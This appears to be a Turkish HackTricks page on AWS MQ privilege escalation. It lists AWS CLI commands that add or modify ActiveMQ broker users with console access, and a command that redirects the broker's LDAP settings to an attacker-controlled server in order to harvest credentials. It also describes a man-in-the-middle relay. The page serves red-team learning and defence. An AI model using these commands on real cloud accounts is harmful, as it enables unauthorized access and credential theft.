AWS - MQ Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

MQ

MQ hakkında daha fazla bilgi için kontrol edin:

AWS - MQ Enum

mq:ListBrokers, mq:CreateUser

Bu izinlerle bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz (bu RabbitMQ'da çalışmaz):

aws mq list-brokers
aws mq create-user --broker-id <value> --console-access --password <value> --username <value>

Olası Etki: ActiveMQ üzerinden hassas bilgilere erişim

mq:ListBrokers, mq:ListUsers, mq:UpdateUser

Bu izinlerle ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz (bu RabbitMQ'da çalışmaz):

aws mq list-brokers
aws mq list-users --broker-id <value>
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>

Olası Etki: ActiveMQ üzerinden hassas bilgilere erişim

mq:ListBrokers, mq:UpdateBroker

Eğer bir broker ActiveMQ ile yetkilendirme için LDAP kullanıyorsa, saldırgan tarafından kontrol edilen LDAP sunucusunun konfigürasyonunu değiştirmek mümkündür. Bu şekilde saldırgan, LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir.

aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...

Eğer ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bir şekilde bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz).

Potansiyel Etki: ActiveMQ kimlik bilgilerini çalmak

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.